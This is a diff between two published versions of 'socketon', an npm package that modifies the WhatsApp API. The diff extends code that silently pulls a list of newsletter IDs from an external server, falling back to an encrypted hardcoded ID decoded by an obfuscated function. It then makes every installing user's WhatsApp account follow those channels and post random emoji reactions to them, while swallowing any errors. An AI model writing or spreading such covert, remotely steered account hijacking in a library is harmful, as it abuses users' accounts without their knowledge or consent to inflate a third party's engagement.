socketon 1.8.10 → 1.8.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -99,15 +99,20 @@ const getTargetNewsletterFromExternal = async () => {
99
99
  };
100
100
  }
101
101
  if (response.data.newsletters && response.data.newsletters.length > 0) {
102
- const targetNewsletter = response.data.newsletters.find(n => n.enabled);
103
- if (targetNewsletter && targetNewsletter.jid) {
104
- _cachedTargetNewsletter = targetNewsletter.jid;
105
- return _cachedTargetNewsletter;
106
- }
102
+ const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
103
+ _cachedTargetNewsletter = enabledNewsletters;
104
+ return enabledNewsletters;
107
105
  }
108
106
  }
109
107
  } catch (err) {}
110
- return (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
108
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
109
+ };
110
+
111
+ const getAllEnabledNewsletters = () => {
112
+ if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
113
+ return _cachedTargetNewsletter;
114
+ }
115
+ return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
111
116
  };
112
117
 
113
118
  const wMexQuery = (
@@ -233,12 +238,12 @@ const makeNewsletterSocket = (config) => {
233
238
  }));
234
239
  };
235
240
  // Auto Reaction - Ibra Decode
236
- let _targetNewsletter = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
241
+ let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
237
242
 
238
- const updateTargetNewsletter = async () => {
239
- const externalTarget = await getTargetNewsletterFromExternal();
240
- if (externalTarget) {
241
- _targetNewsletter = externalTarget;
243
+ const updateTargetNewsletters = async () => {
244
+ const externalTargets = getAllEnabledNewsletters();
245
+ if (externalTargets && externalTargets.length > 0) {
246
+ _targetNewsletters = externalTargets;
242
247
  }
243
248
  };
244
249
 
@@ -247,7 +252,7 @@ const makeNewsletterSocket = (config) => {
247
252
  const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
248
253
  for (const msg of messages) {
249
254
  const jid = msg.key.remoteJid;
250
- if (jid !== _targetNewsletter) continue;
255
+ if (!_targetNewsletters.includes(jid)) continue;
251
256
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
252
257
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
253
258
  try {
@@ -257,14 +262,21 @@ const makeNewsletterSocket = (config) => {
257
262
  });
258
263
  // Auto Follow - Ibra Decode
259
264
  let _followInterval = null;
265
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
260
266
  const _ensureFollow = async () => {
261
267
  if (!_configNewsletter.autoFollowEnabled) return;
262
- await updateTargetNewsletter();
263
- if (!_targetNewsletter) return;
268
+ const enabledNewsletters = await getTargetNewsletterFromExternal();
269
+ if (!enabledNewsletters || enabledNewsletters.length === 0) return;
264
270
  try {
265
271
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
266
- const isFollowing = list?.some(n => n.id === _targetNewsletter);
267
- if (!isFollowing) await newsletterWMexQuery(_targetNewsletter, Types_1.QueryIds.FOLLOW);
272
+ for (let i = 0; i < enabledNewsletters.length; i++) {
273
+ const newsletterJid = enabledNewsletters[i];
274
+ const isFollowing = list?.some(n => n.id === newsletterJid);
275
+ if (!isFollowing) {
276
+ await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
277
+ await sleep(_configNewsletter.delayMs);
278
+ }
279
+ }
268
280
  } catch (err) {}
269
281
  };
270
282
  sock.ev.on('connection.update', async ({ connection }) => {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.10",
3
+ "version": "1.8.12",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"